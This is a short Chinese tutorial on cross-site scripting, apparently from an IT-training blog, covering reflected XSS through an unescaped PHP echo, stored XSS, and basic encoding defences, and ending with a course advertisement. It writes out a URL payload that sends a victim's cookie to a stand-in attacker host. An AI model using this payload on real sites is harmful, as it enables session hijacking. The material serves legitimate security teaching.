标题:XSS跨站点脚本攻击


XSS攻击

 

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。在web应用中,如果对用户输入的数据没有经过很好的过滤,攻击者很可能利用这些可信的网站使用户的浏览器执行一些恶意的脚本。比如下面的WEB服务端程序接受一个用户的输入,并进行回显:

 

<?php

echo $input

?>

web服务器把用户输入数据直接返回给客户端。

http://x.com/test.php?input=this is a test

当用户在浏览器中输入一个普通的文本“this is a test”,那么浏览该页面时,会返回这个普通的字符串。但是,如果用户输入的不是普通的文本,而是一段课执行的JS脚本:

http://x.com/test.php?input=<script>alert('xss');</script>

 

那么,当用户浏览这个页面时,这段脚本代码就会被执行,从而造成漏洞攻击。

 

XSS REFLECTION-Session Hi-Jack

 

服务器生成的用以标识客户信息的cookie一般被称为sessionId,而通过一些手段获取其它用户sessionId的攻击就叫session劫持。 比如,当给具有XSS漏洞的WEB程序发送一个如下的URL请求:

 

http://testapp.com/test.php?input=<script>var+i=new+Image;+i.src="http://www.attacker.com/"%2bdocument.cookie;</script>

那么当XSS跨站脚本执行的时候,就会将用户的 cookie发回给攻击者服务器。

var i=new Image; i.src="http://www.attacker.com/ "+document.cookie;


Stored XSS

 

所谓Stored XSS是指通过提交恶意数据到存储器(比如数据库、文本文件等),浏览器等Web应用程序输出的时候是从存储器中读出恶意数据输出到页面的一类跨站脚本漏洞。 持久型XSS多出现在Web邮箱、BBS、社区等从数据库读出数据的正常页面(比如BBS的某篇帖子中可能就含有恶意代码),由于不需要浏览器提交攻击参数,所以其危害往往大于非持久型XSS。

 

基于stored XSS攻击的例子如下图所示:

 


XSS攻击的预防:

首先,过滤掉脚本命令
其次,对敏感字符进行编码
对<,>,',"等特殊字符,进行HTML编码。


看文字不过瘾?点击我,进入腾讯课堂视频教学
麦洛科菲长期致力于IT安全技术的推广与普及,我们更专业!我们的学员已经广泛就职于BAT360等各大IT互联网公司。详情请参考我们的 业界反馈 《周哥教IT.C语言深学活用》视频

我们的微信公众号,敬请关注